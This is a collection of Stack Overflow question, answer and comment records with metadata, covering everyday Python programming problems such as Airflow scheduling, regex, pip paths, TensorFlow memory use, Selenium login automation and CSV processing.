has body: Can't find the solution with start time of tasks. I have code and can't find where I'm wrong. When I`ve run DAG, 25.03, 26.03, 27.03. tasks were completed, but today(28.03) tasks not started in 6:48. I have tried to use cron expressions, pendulum, datetime and result is the same. Local time(UTC+3) and airflow's time(UTC) is different. I've tried to use each time(local, airflow) in 'start date' or 'schedule interval' - no result. Using: Ubuntu, Airflow v. 1.9.0 and local executor. emailname = Variable.get('test_mail') l_start_date = datetime(2018, 3, 25, 6, 48) l_schedule_interval = '@daily' WORKFLOW_DEFAULT_ARGS = { 'owner': 'owner', 'depends_on_past': True, 'start_date': l_start_date, 'email': emailname, 'email_on_failure': False, 'email_on_retry': False, 'retries': 1, 'retries_delay': timedelta(minutes=1), } # initialize the DAG dag = DAG( dag_id='test_dag_mail', default_args=WORKFLOW_DEFAULT_ARGS, schedule_interval=l_schedule_interval, start_date=l_start_date, )
has title: Incorrect work of scheduler interval and start time in Apache Airflow
type: AnsweredQuestion
score: 3
answer count: 2
has answer: http://stackoverflow.com/a/49530174
has answer: http://stackoverflow.com/a/49529321
downvote count: 1
favorite count: 0
type: Question
upvote count: 4
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/49530174
accepted answer: http://stackoverflow.com/a/49529321
tagged with: airflow
tagged with: python
tagged with: airflow-scheduler

http://stackoverflow.com/comment/86189504
type: Comment
type: QuestionComment
score: 0
has text: I think there's another misunderstanding here somewhere... yes, of course it's possible to start another instance of that. That's exactly what your code does. Are you asking how to start the game in a new terminal window?
comment on: http://stackoverflow.com/q/49590684

http://stackoverflow.com/q/49462588
score: 4
upvote count: 4
has body: A custom id can be supplied to a new vertex at the Gremlin Console as follows: gremlin&gt; g.addV('person').property(id, 1234).next() ==&gt;v[1234] In the Java client it can be done as follows: graph.addVertex(T.id, customId); (Where T is org.apache.tinkerpop.gremlin.structure.T) Is there an equivalent of T.id for gremlin_python to facilitate the above form? Many thanks.
answer count: 1
downvote count: 0
has title: custom id in gremlin_python
tagged with: tinkerpop
favorite count: 0
type: Question
type: AnsweredQuestion
tagged with: graph-databases
tagged with: python
accepted answer: http://stackoverflow.com/a/49463899
tagged with: gremlin
has answer: http://stackoverflow.com/a/49463899

http://stackoverflow.com/comment/86054430
type: Comment
has text: Thank you sooo much.. i will look more into using this in future programs. this was my first time using this site and im new to python thanks for your help. now i can work on adding a button onto the GPIO pins of my pi and making it give me a random operator when i press the button
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49523725

http://stackoverflow.com/q/49482125
has comment: http://stackoverflow.com/comment/85967276
has comment: http://stackoverflow.com/comment/85967103
has comment: http://stackoverflow.com/comment/85967017
type: Question
has comment: http://stackoverflow.com/comment/85967061
has body: Lets say I have a string like s=""" Bob sent some money to Ana. It was 10.23 dollars. Ana thanked him. """ I want the output to be Bob sent some money to Ana. It was dollars. Ana thanked him. So basically only keep alphabets and period which marks the end of sentence. Remove non alphabet character and also periods in between numbers. I am trying to use re.sub(r"[^A-za-z.\n]"," ",s) But this obviously will keep the period in between the no. and gives ' Bob sent some money to Ana. It was . dollars. Ana thanked him. \n\n' I want to remove the period in between the numbers too as later I want to break a text string into sentences and that would look for periods or \n as end of a sentence. Having a period which was part of a decimal number will break the sentence using that period too and that is not ideal
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/85967307
tagged with: python
has answer: http://stackoverflow.com/a/49482276
has title: Replace specific instance of period in python string
has comment: http://stackoverflow.com/comment/85967182
has comment: http://stackoverflow.com/comment/85967332
score: 0
has comment: http://stackoverflow.com/comment/85967185
has comment: http://stackoverflow.com/comment/85967234
tagged with: regex

http://stackoverflow.com/a/49571850
has comment: http://stackoverflow.com/comment/86151683
accepted answer of: http://stackoverflow.com/q/49571794
has body: With simple sorting by dictionary values: x = {"John":15, "Josh":2, "Emily":50, "Joey":12} for i, t in enumerate(sorted(x.items(), key=lambda x: x[1], reverse=True), 1): print('{}. {} - {}'.format(i, t[0], t[1])) The output: 1. Emily - 50 2. John - 15 3. Joey - 12 4. Josh - 2
answers question: http://stackoverflow.com/q/49571794
type: AcceptedAnswer
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/86152010

http://stackoverflow.com/q/49459950
favorite count: 0
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85922792
tagged with: python
has comment: http://stackoverflow.com/comment/85922778
has body: Hi I'm experiencing very weird phenomena. I have 2 scripts. 1) main.py import tree def main(): msg =tree.logic(data) print msg 2) tree.py def logic(data): if data["A"] &gt; data["B"]: return "A is bigger" else: return "B is bigger" When I print msg in main.py, it just prints None. Disclaimer: A and B do not have same values. I checked it. data example, it is just dictionary: { "A": 23, "B": 25 } Since it was not returning a string, I did one quick test like below. Withough having a if-statement in logic function, I just returned a string right away. def logic(data): return "Is it returning?" Then, msg printed "is it returning?". I'm not sure why the string was not returned in the first case. Thoughts?
has title: Python script not returning string
score: 0
has answer: http://stackoverflow.com/a/49461281
has comment: http://stackoverflow.com/comment/85922799
answer count: 3
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/49460048
has answer: http://stackoverflow.com/a/49460017

http://stackoverflow.com/a/51429630
answers question: http://stackoverflow.com/q/49584489
type: Answer
score: 0
has body: Use control dependencies when building the graph for train_op_2 so it can see the updated values of the variables. Or use eager execution.

http://stackoverflow.com/q/49487468
has comment: http://stackoverflow.com/comment/85977518
favorite count: 0
type: Question
has body: I want to install pip 9.0.3 for my local user and I have changed the pip path $ which -a pip /efs/home/myuser/.local/bin/pip /usr/local/bin/pip $ pip install --upgrade pip --user Collecting pip Using cached pip-9.0.3-py2.py3-none-any.whl Installing collected packages: pip Successfully installed pip-9.0.3 pip -V pip 9.0.1 from /usr/local/lib/python2.7/dist-packages/pip-9.0.1-py2.7.egg (python 2.7) How do you change which pip is being used?
has comment: http://stackoverflow.com/comment/85980318
tagged with: path
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/85981217
tagged with: pip
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/49489735
has answer: http://stackoverflow.com/a/49489735
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85978779
has comment: http://stackoverflow.com/comment/85978664
score: 1
has title: Running pip from ~/.local/bin/pip instead of /usr/local/bin/pip

http://stackoverflow.com/a/49453218
accepted answer of: http://stackoverflow.com/q/49449405
has body: You're confusing an image file with pixel data buffer. Simply decode the JPEG blob to a Mat, then encoded back. def binarize_image(img): mat = cv2.imdecode(img, cv2.IMREAD_UNCHANGED) ret1, th1 = cv2.threshold(mat, 127, 255, cv2.THRESH_BINARY) return cv2.imencode(".jpg", th1) with Image(filename="wizard:") as img: img_buffer = np.asarray(bytearray(img.make_blob("JPEG")), dtype=np.uint8) ret, mat = binarize_image(img_buffer) with Image(blob=mat) as timg: timg.save(filename="output.jpg") Although you could achieve the same task directly with imagemagick by using either Image.threshold, Image.contrast_stretch, Image.level, or Image.quantize methods.
answers question: http://stackoverflow.com/q/49449405
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/a/49495524
type: Answer
answers question: http://stackoverflow.com/q/49495273
score: 0
has body: Give this a try import uuid order_ids_map = {} # mapping order ids to customer ids order_ids = ['A01', 'A01', 'A02', 'A03', 'A02'] for order_id in order_ids: if order_id not in order_ids_map: # create new customer id customer_id = uuid.uuid4() order_ids_map[order_id] = customer_id print str.format('customer id for order id {0} is {1}', order_id, str(customer_id)) # now order_ids_map contains a map between order_ids and customer_ids

http://stackoverflow.com/comment/86210376
comment on: http://stackoverflow.com/a/49589270
score: 0
type: AnswerComment
has text: Updated my answer.
type: Comment

http://stackoverflow.com/comment/86116939
score: 0
comment on: http://stackoverflow.com/a/49549991
type: Comment
has text: prashant replace view_id, dont use mine, thats an example
type: AnswerComment

music21
type: Tag
tag name: music21
tags question: http://stackoverflow.com/q/49462107

http://stackoverflow.com/comment/85990436
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49493405
type: AnswerComment
has text: Sounds good, Np. That would have been next step, check what init file you have mixed.

http://stackoverflow.com/q/49525493
answer count: 1
tagged with: loops
favorite count: 0
type: Question
upvote count: 0
type: UnansweredQuestion
score: -2
downvote count: 2
has comment: http://stackoverflow.com/comment/86056812
tagged with: python
has body: I'm trying to do a loop where each i has a figure with two plots. The difference between the plots are given by a binary column. For example: train = pd.DataFrame({'vehicle': ['car', 'truck', 'bus', 'car', 'bus' ], 'sex': ['male','male','male','female','female'], 'income': ['60000', '50000', '65000', '70000', '60000'], 'age': [31,25,67,90,18], 'crash' : [1,0,0,0,1] }) Each figure has to have two graphs and it shows the relationship between all the variables and the crash column for two cases (crash=1 and crash=0) for each column. Here is my code, but it's still not working: for i in train.columns: i_1 = train[i][train["crash"] == 1] i_0 = train[i][train["crash"] == 0] fig = plt.figure(figsize=(5, 10)) fig.add_subplot(1, 2, 2) ax1 = fig.add_subplot(1,1,1) ax2 = fig.add_subplot(1,2,2) ax1.plot(train[i], i_1) ax2.plot(train[i], i_0) plt.show() So, figure 1 has two graphs. Graph 1 is the count of vehicles with crash=1 and graph 2 is the count of vehicles with crash=0. The figure 2, graph 1 is the count of sex with crash=1 and graph 2 is the count of sex with crash=0. And so on.. for a total (in this case) of 4 figures. Any ideas?
tagged with: plot
has title: A loop with figures and plots
tagged with: pandas
has answer: http://stackoverflow.com/a/49525782
tagged with: matplotlib

http://stackoverflow.com/q/49588781
has body: I created a network as follows def _create_network(self, scope='network'): with tf.variable_scope(scope): self.inputs = tf.placeholder(shape=[None, *self.img_shape, self.hist_len], dtype=tf.float32) self.conv_1 = slim.conv2d(activation_fn=tf.nn.relu, inputs=self.inputs, num_outputs=16, kernel_size=[8, 8], stride=4, padding='SAME') self.conv_2 = slim.conv2d(activation_fn=tf.nn.relu, inputs=self.conv_1, num_outputs=64, kernel_size=[4, 4], stride=2, padding='SAME') self.fc = slim.fully_connected(slim.flatten(self.conv_2), 256, activation_fn=tf.nn.elu) self.outputs = slim.fully_connected(self.fc, self.env.action_space.n, activation_fn=tf.nn.softmax) # get all the weights self._weights = tf.trainable_variables() And I want to use all the weights to train my model, but here, my model is a gradient-free model, so I only need to assign the value of weights I got the values by self._real_weights = self._sess.run(self._weights) And then use these values to train my model and update the values of weights in the graph for i in range(n_iters): # do something arithmetic operation with self._real_weights # without any tensors in the graph self._sess.run([tf_var.assign(real_var) for tf_var, real_var in zip(self._weights, self._real_weights)]) gc.collect() But, what made me feel confused is the memory of the machine increased steadily until all the memory were taken up. Is there something wrong with my code?
tagged with: python
duplicate of: http://stackoverflow.com/q/49281664
answer count: 0
score: 1
downvote count: 0
upvote count: 1
has title: TensorFlow memory management
tagged with: tensorflow
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/49281664
type: UnansweredQuestion

http://stackoverflow.com/comment/94902624
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49442958
has text: Did you manage to find a good approach? If yes, please post your solution. :)
score: 1

http://stackoverflow.com/comment/85962951
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49479592
has text: @PradeepTummala: If you have a new question, post a new question. Don't keep asking for more in an existing question.

http://stackoverflow.com/q/49544353
downvote count: 0
has answer: http://stackoverflow.com/a/49544565
has body: with the new Entity Resolution in Alexa, nested dictionaries become very nested. what's the most pythonic way to refer to a deeply nested value? how do i write the code keeping within 79 characters per line? this is what i currently have, and while it works, i'm pretty sure there is a better way: if 'VolumeQuantity' in intent['slots']: if 'resolutions' in intent['slots']['VolumeQuantity']: half_decibels = intent['slots']['VolumeQuantity']['resolutions']['resolutionsPerAuthority'][0]['values'][0]['value']['name'].strip() elif 'value' in intent['slots']['VolumeQuantity']: half_decibels = intent['slots']['VolumeQuantity']['value'].strip() Here is a partial sample of the json from alexa { "type": "IntentRequest", "requestId": "amzn1.echo-api.request.9a...11", "timestamp": "2018-03-28T20:37:21Z", "locale": "en-US", "intent": { "name": "RelativeVolumeIntent", "confirmationStatus": "NONE", "slots": { "VolumeQuantity": { "name": "VolumeQuantity", "confirmationStatus": "NONE" }, "VolumeDirection": { "name": "VolumeDirection", "value": "softer", "resolutions": { "resolutionsPerAuthority": [ { "authority": "amzn1.er-authority.echo-blah-blah-blah", "status": { "code": "ER_SUCCESS_MATCH" }, "values": [ { "value": { "name": "down", "id": "down" } } ] } ] }, "confirmationStatus": "NONE" } } }, "dialogState": "STARTED" }
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86096512
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86096465
possible better answer: http://stackoverflow.com/a/49544565
accepted answer: http://stackoverflow.com/a/49544409
has comment: http://stackoverflow.com/comment/86140932
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/49544409
linked to: http://stackoverflow.com/q/3985563
score: 4
tagged with: line-breaks
upvote count: 4
has comment: http://stackoverflow.com/comment/86096594
has title: Line wrapping code for nested dictionaries in python
answer count: 2

http://stackoverflow.com/comment/86155131
comment on: http://stackoverflow.com/q/49567411
score: 0
has text: Thanks, I think I understand why. I am struggling to understand how to create a "function that takes a subplot as argument". Sorry the documentation is not very helpful on this. I need to automate the creation of many figures and I still would like the ability to recombine some subplots on the fly without having to regenerate the data.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86199136
type: Comment
has text: Thank you, that worked - "Start by removing the .text"
type: QuestionComment
comment on: http://stackoverflow.com/q/49595919
score: 0

http://stackoverflow.com/a/49558350
score: 0
has body: Here is an instance of np.random.rand(1,3): array([[0.60098985, 0.33777435, 0.92713769]]) It is an array of one element which is itself an array of 3 elements, so each element of 'x' and 'y' in your source is an array of 3 elements. Which is why nothing shows up. You can use numpy.ndarray.flatten def update(): new = {'x':np.random.rand(1,3).flatten(), 'y':np.random.rand(1,3).flatten()} source.stream(new) Or just np.random.rand(3)
answers question: http://stackoverflow.com/q/49509050
type: Answer

http://stackoverflow.com/comment/86133179
type: QuestionComment
has text: You are right...!
score: 0
comment on: http://stackoverflow.com/q/49562165
type: Comment

http://stackoverflow.com/q/49569338
upvote count: 0
has comment: http://stackoverflow.com/comment/86146636
answer count: 1
downvote count: 3
duplicate of: http://stackoverflow.com/q/2074452
accepted answer: http://stackoverflow.com/a/49569456
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/3873361
has answer: http://stackoverflow.com/a/49569456
has comment: http://stackoverflow.com/comment/86146656
linked to: http://stackoverflow.com/q/22444
has title: match all occurrence of regular
score: -3
tagged with: python
tagged with: regex
duplicate of: http://stackoverflow.com/q/22444
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86146768
has body: I want to extract all occurrences of a pattern in Python. Here is what i have done import re string="Any information sent to the server as clear text , may be stolen and used later for identity theft or user impersonation. In addition, several privacy regulations state that sensitive information such as user credentials will always be sent encrypted to the web site." regex=' .* ' # obviously it matches starting to the last if re.findall(regex, String): print(re.findall(regex, string)) else: print('no match found') I want to extract all the occurance of paragraph tags. I mean the output should be a list which looks like this [' sent to the server as clear text ', ' identity theft ', ' credentials will always be sent encrypted '] I've found few similar questions but not serving the purpose Find all occurrences of a substring in Python Finding multiple occurrences of a string within a string in Python
linked to: http://stackoverflow.com/q/4664850

http://stackoverflow.com/comment/86742460
type: Comment
type: AnswerComment
has text: Is it possible to do the same operation using numpy.take ? I am asking this because dask arrays don't support this kind of fancy indexing but implement a function similar to numpy.take.
comment on: http://stackoverflow.com/a/49599602
score: 0

http://stackoverflow.com/comment/86078884
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49536025
has text: Surely `lambda x: set(x)` could be replaced with just `set`?

http://stackoverflow.com/comment/86195472
score: 1
comment on: http://stackoverflow.com/q/49593972
type: QuestionComment
has text: Yes, obviously, everything can be stored as json. And yes, refactoring it would be great. What's the exact problem? Do you have any concrete questions, or should it be posted on freelancer.com or on Code Review Stack Exchange?
type: Comment

http://stackoverflow.com/comment/86183932
has text: See here: https://stackoverflow.com/questions/7804673/escaping-separator-within-double-quotes-in-awk
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49588073
type: QuestionComment

http://stackoverflow.com/q/49491048
has answer: http://stackoverflow.com/a/49686951
has comment: http://stackoverflow.com/comment/86235945
has comment: http://stackoverflow.com/comment/86261867
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49728485
has comment: http://stackoverflow.com/comment/85986959
type: UnansweredQuestion
tagged with: win32com
has comment: http://stackoverflow.com/comment/86232459
has body: My below code for windows authentication was working well for over a year. But for the last few days it is longer working now. I am not able to identify exact reason for that. from selenium import webdriver import time import win32com.client driver=webdriver.Chrome('D:/Software/BrowsersDriver/ChromeDriver/chromedriver.exe') driver.maximize_window() driver.get("authentication windows url") shell = win32com.client.Dispatch("WScript.Shell") shell.Sendkeys("username") time.sleep(1) shell.Sendkeys("{TAB}") time.sleep(1) shell.Sendkeys("password") time.sleep(1) shell.Sendkeys("{ENTER}") time.sleep(5) driver.quit() I tried to change my chrome driver to latest when it stops working, but still it is not working. Once the windows authentication appears, cursor keeps blinking on username text-field infinitely, but username is not entered. I am getting below message in console when it is stuck 2018-04-02 07:09:28,230 INFO: Imported existing &lt;module 'comtypes.gen' from 'C:\Python27\lib\site-packages\comtypes\gen\__init__.pyc'&gt; 2018-04-02 07:09:28,230 INFO: Using writeable comtypes cache directory: 'C:\Python27\lib\site-packages\comtypes\gen' The same code used to work well earlier. I am using python 2.7.12 and latest version of chrome driver. Also if someone has a different solution or a link for it for providing credentials in authentication window in python selenium then that too will work for me. Note: The same code works well earlier, but now it's not working
tagged with: python
linked to: http://stackoverflow.com/q/40671662
linked to: http://stackoverflow.com/q/860013
linked to: http://stackoverflow.com/q/48823661
has comment: http://stackoverflow.com/comment/85985843
tagged with: comtypes
linked to: http://stackoverflow.com/q/45328654
answer count: 3
has comment: http://stackoverflow.com/comment/86233809
score: 1
has title: Windows authentication code no longer working now
has comment: http://stackoverflow.com/comment/86232809
has comment: http://stackoverflow.com/comment/86233206
tagged with: selenium
downvote count: 0
has answer: http://stackoverflow.com/a/49715396
upvote count: 1

http://stackoverflow.com/a/49567483
upvote count: 1
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49567226
accepted answer of: http://stackoverflow.com/q/49567226
type: Answer
has comment: http://stackoverflow.com/comment/86143901
has comment: http://stackoverflow.com/comment/86145888
downvote count: 0
has body: There is not a python standard library implementation of this. You could write one though: crazy = [1, 'a', 'a', 'b'] # Ask the user for some index values happy = [crazy[int(i)] for i in input("Enter index values separated by a space: ").split()] For example, if the user inputs 0 3, the state of the variables is: crazy # [1, 'a', 'a', 'b'] happy # [1, 'b']

http://stackoverflow.com/a/49553780
score: 0
has body: If you don't implement __hash__, hash() will use the default implementation. If you don't implement __eq__, the default implementation will be used when you compare two instances. class C: pass class D: def __hash__(self): return 1 def __eq__(self, other): return True print(hash(C())) # changing for every C instance print(C() == C()) # False since objects are different print(hash(D())) # always 1 print(D() == D()) # always True
type: Answer
answers question: http://stackoverflow.com/q/49553652

http://stackoverflow.com/comment/86150669
score: 0
has text: Looks like a x-y problem: you are trying to fix a problem when you should try to avoid it. Where do those ugly `' "string" '` come at first?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49571132

http://stackoverflow.com/a/54360055
type: Answer
upvote count: 13
score: 11
has body: try import pickle as cPickle. this way you don't have to edit much
downvote count: 2
answers question: http://stackoverflow.com/q/49579282

http://stackoverflow.com/comment/86026285
type: Comment
type: AnswerComment
has text: @mr_mo What tool /IDE did you use to obtain the plot..? I tried to run the code on Ubuntu terminal... it gave me the prediction but not the graph
comment on: http://stackoverflow.com/a/49507749
score: 0

http://stackoverflow.com/comment/85940070
comment on: http://stackoverflow.com/q/49468732
type: Comment
type: QuestionComment
score: 0
has text: Are you looking for dynamic variables? I don't find what you're asking very clear.

http://stackoverflow.com/q/49542870
has answer: http://stackoverflow.com/a/49543068
answer count: 4
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/42900757
possible better answer: http://stackoverflow.com/a/49561132
tagged with: pandas
has answer: http://stackoverflow.com/a/49561132
tagged with: sqlite
downvote count: 0
linked to: http://stackoverflow.com/q/21257899
has answer: http://stackoverflow.com/a/49543496
favorite count: 0
type: Question
has title: parse csv with pandas vs storing data in a database (sqlite or mssql)
score: 5
has answer: http://stackoverflow.com/a/49542959
tagged with: http://stackoverflow.com/tag/csv
has body: I have to parse a huge list (hundreds) of big .csv files (>1Gb each) to extract slices given a criteria. Criteria might change over time, so it should be reproducible. I'm considering to use three different approaches: Good old cat|grep. Last resort, but not feasible over time if I wanted to automatize the whole process. Load and iterate each file with panda's csv read functions, and keep only the matching rows in a new csv file. Example Import every row in a database and query on demand, sqlite preferably, but could be MS SQL. Example Since there's no way to avoid reading the files row-by-row, Which is the best method of those three in terms of performance? is there any better option?
upvote count: 5
accepted answer: http://stackoverflow.com/a/49543068
tagged with: python
tagged with: pyodbc

http://stackoverflow.com/q/49521175
tagged with: blobstore
has comment: http://stackoverflow.com/comment/93111867
score: 0
answer count: 0
has title: google cloud storage testing locally with python
has comment: http://stackoverflow.com/comment/86351655
type: Question
has body: Trying to test an image cropper using blobstore and GCS locally and hitting some problems. Keep in mind I don't have GCS fully figured out and there may be more than one problem here. def resize_and_insert_image(raw_blob_key, size, crop_info=None, is_percentage=False): with google_blobstore.BlobReader(raw_blob_key) as f: blob_data = f.read() img = google_images.Image(image_data=blob_data) if crop_info: # need crop coordinates as floats from 0.0 to 1.0 width = img.width height = img.height # need crop coordinates as floats from 0.0 to 1.0 if is_percentage: left_x = crop_info['x'] / 100.0 top_y = crop_info['y'] / 100.0 right_x = (crop_info['x'] + crop_info['width']) / 100.0 bottom_y = (crop_info['y'] + crop_info['height']) / 100.0 else: left_x = clamp(crop_info['x'] / width) top_y = clamp(crop_info['y'] / height) right_x = clamp((crop_info['x'] + crop_info['width']) / width) bottom_y = clamp((crop_info['y'] + crop_info['height']) / height) img.crop(left_x, top_y, right_x, bottom_y) img.resize(width=size[0], height=size[1]) thumbnail = None try: thumbnail = img.execute_transforms(output_encoding=google_images.PNG) except google_images.TransformationError: pass # Retry two more times if fails on transform if thumbnail is None: try: thumbnail = img.execute_transforms(output_encoding=google_images.PNG) except google_images.TransformationError: pass if thumbnail is None: # This time just fail if it raises thumbnail = img.execute_transforms(output_encoding=google_images.PNG) filename = '%s-%s' % (raw_blob_key, lutil.server_now()) mime = 'image/png' filepath = '/%s/%s' % (settings.GCS_DEFAULT_BUCKET, filename) with gcs.open(filepath, 'w', content_type=mime) as f: f.write(thumbnail) blob_key = str(google_blobstore.create_gs_key('/gs%s' % filepath)) bk_to_cs = BlobKeyToCloudStorageManager.create(blob_key, settings.GCS_DEFAULT_BUCKET, filename, mime) BlobKeyToCloudStorageManager.save(bk_to_cs) return blob_key It's failing on the following line with gcs.open(filepath, 'w', conte…
type: UnansweredQuestion
tagged with: python
tagged with: google-cloud-storage

http://stackoverflow.com/a/49452706
upvote count: 3
downvote count: 0
type: Answer
has body: You can use the calendar module: calendar.month_name[3] returns March For more information check out this question
score: 3
answers question: http://stackoverflow.com/q/49452645

http://stackoverflow.com/comment/125437698
comment on: http://stackoverflow.com/a/49456120
score: 0
type: AnswerComment
has text: this could work with dataclasses module which allows to "freeze" object after instantiation - still vim is right that's not the way python works :)
type: Comment

http://stackoverflow.com/q/49469693
has comment: http://stackoverflow.com/comment/86159534
has comment: http://stackoverflow.com/comment/86126410
answer count: 0
tagged with: google-cloud-platform
has title: Issue when running gcloud (Google Cloud SDK) in Cloud Shell
tagged with: google-cloud-shell
has body: When I try running gcloud command in a Cloud Shell, I get the following error: Command: user@one-more-gcp-test:~$ gcloud help Error: Traceback (most recent call last): File "/google/google-cloud-sdk/lib/gcloud.py", line 88, in &lt;module&gt; main() File "/google/google-cloud-sdk/lib/gcloud.py", line 64, in main import traceback ImportError: No module named traceback I created a new GCP project and activated Cloud Shell and tried running the same command again but I get the same error.
has comment: http://stackoverflow.com/comment/86008947
type: Question
tagged with: google-cloud-sdk
has comment: http://stackoverflow.com/comment/86008968
has comment: http://stackoverflow.com/comment/86164103
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85987007
has comment: http://stackoverflow.com/comment/86006259
tagged with: python
has comment: http://stackoverflow.com/comment/86173371
has comment: http://stackoverflow.com/comment/86164178
score: 0

http://stackoverflow.com/a/49476922
has comment: http://stackoverflow.com/comment/85959257
has comment: http://stackoverflow.com/comment/85956879
has comment: http://stackoverflow.com/comment/85956920
upvote count: 0
has comment: http://stackoverflow.com/comment/85956837
downvote count: 1
has body: You should be able to use a Value expression (see the docs) in a manner similar to this: class MyModel(models.Model): my_time_field = TimeField() custom_date = datetime.today().date() MyModel.objects.annotate( custom_datetime=Value( datetime.datetime.combine(custom_date, F('my_time_field')), output_field=DateTimeField())) The key parts are to combine your custom_date, the time from your my_time_field, and then output it as a DateTimeField.
answers question: http://stackoverflow.com/q/49475312
type: Answer
score: -1

http://stackoverflow.com/a/49565788
type: Answer
has body: Your implementation is correct. The distortion comes from relatively large spatial step dx. At its current value of 0.2 it is comparable to the size of the wave, which makes the wave visibly polygonal on the graph. These these discretization errors accumulate over 500 steps. This is what I get from plt.plot(X, U[-1]) with your code: And this is what I get after using n = 100 (halving both time and space stepsize), running the solution for t in range(1000) to compensate for smaller time step, and again plotting plt.plot(X, U[-1]): The symmetric-difference approximation for du/dx has error of order dx**3 proportional to the third derivative. The manner in which these accumulate is complicated because the solution is moving around, but in any case smaller dx improves the matters if dt scales with it.
answers question: http://stackoverflow.com/q/49564773
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49564773
has comment: http://stackoverflow.com/comment/86139995
score: 3

http://stackoverflow.com/comment/86190849
score: 0
comment on: http://stackoverflow.com/q/49591463
has text: Read an excellent explanation on CMYK->RGB from @patapouf_ai in >>> https://stackoverflow.com/a/30078860/3666197 and rather keep all the original CMYK-file data detail ( ... avoid any external xlations )
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85942514
score: 3
comment on: http://stackoverflow.com/q/49470038
type: QuestionComment
type: Comment
has text: `1` is an `int` and `j` is a `str`. The `-` operator does not work between `str` and `int` objects. Furthermore, you cannot mutate a string, so things like `st[0] = 'x'` will not work *anyway* even if the expression `j - 1` evaluated to an `int`. IOW, you have a lot of problems in this piece of code.

http://stackoverflow.com/comment/86722044
comment on: http://stackoverflow.com/a/49598857
score: 0
type: Comment
type: AnswerComment
has text: Your solution works good on a descent big list. I tried on a list of size = 541909 and tuples size = 3363671.. but it is running for last 30 mins. Can it be optimized more?

http://stackoverflow.com/q/49505731
answer count: 1
has title: Python: The length of bytearray object does not match the length of derived bytes object?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86056070
has comment: http://stackoverflow.com/comment/86016591
has comment: http://stackoverflow.com/comment/86062563
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49528693
tagged with: arrays
has comment: http://stackoverflow.com/comment/86016616
upvote count: 1
tagged with: python
has body: Got some code like this: some_buf = build_buffer() # returns a bytearray of ~40 bytes align_buf(some_buf) # align it to 16 byte boundary do_something(some_buf[16:32]) # This needs a bytes object, cannot work with bytearray Alright, let me change it to this: some_buf = build_buffer() # returns a bytearray of ~40 bytes align_buf(some_buf) # align it to 16 byte boundary bytes_buf = bytes(some_buf)[16:32] do_something(some_buf) The do_something() complains the bytes object is not 16 byte aligned. To see what's going on, I added a simple condition: some_buf = build_buffer() # returns a bytearray of ~40 bytes align_buf(some_buf) # align it to 16 byte boundary bytes_buf = bytes(some_buf)[16:32] if len(some_buf) != len(bytes_buf): msg = "Length of bytearray ({}) != Length of bytes object ({})".format(len(some_buf), len(bytes_buf)) raise RuntimeError(msg) do_something(some_buf) And this is what I am getting: RuntimeError: Length of bytearray (144) != Length of bytes object (562) I am on a Windows 10 x64 system, with Python (CPython) interpreter Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:19:22) [MSC v.1500 32 bit (Intel)] on win32 Anyone else seen this behavior before? If so, ideas/clues of what I might be missing here?
downvote count: 1
has comment: http://stackoverflow.com/comment/86056016
has comment: http://stackoverflow.com/comment/86055910
score: 0
tagged with: byte

http://stackoverflow.com/comment/86174983
type: Comment
has text: I fixed the problem by installing latest ansible container from source. [user@hostname ~]$ sudo git clone https://github.com/ansible/ansible-container.git [user@hostname ~]$ cd ansible-container [user@hostname ansible-container]$ sudo pip install -e .[docker]
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49583311

http://stackoverflow.com/q/49587269
tagged with: cross-validation
tagged with: python
score: 0
has body: After tunning parameters for a classifier I build a model using the best ones. I decided to perform a StratifiedKFold as a validation. First I split my dataset in train and test so that I can check my model on a different test set. The thing is that since I applied a Kfold cross-validation the accuracies I get are from the virtual validation set. Now I get those performances I want to test the model in that test set we kept above but don't know how to proceed properly. I know that an alternative could be to perform the kfold cross validation with the entire dataset (X,y) but I decided to keep a test set beacuse I have to build more classifiers. Here is my code for a classifier: from xgboost.sklearn import XGBClassifier from sklearn.cross_validation import StratifiedKFold from sklearn.pipeline import Pipeline kfold = StratifiedKFold(y_train, n_folds=10, random_state=42) pipe_xgb = Pipeline([('xgb', XGBClassifier(learning_rate =0.01, n_estimators=5000, max_depth=4, min_child_weight=6, gamma=0, subsample=0.8, colsample_bytree=0.8, objective= 'binary:logistic', nthread=4, scale_pos_weight=2.7, #ratio of positive and negative classes seed=42))]) pipe_xgb.fit(X_train, y_train) scores = [] for k, (train, val) in enumerate(kfold): pipe_xgb.fit(X_train[train], y_train[train])#fit on train score = pipe_xgb.score(X_train[val], y_train[val])#test on val scores.append(score) print('Fold: %s, Class dist.: %s, Acc: %.3f' % (k+1, np.bincount(y_train[train]), score)) print('CV 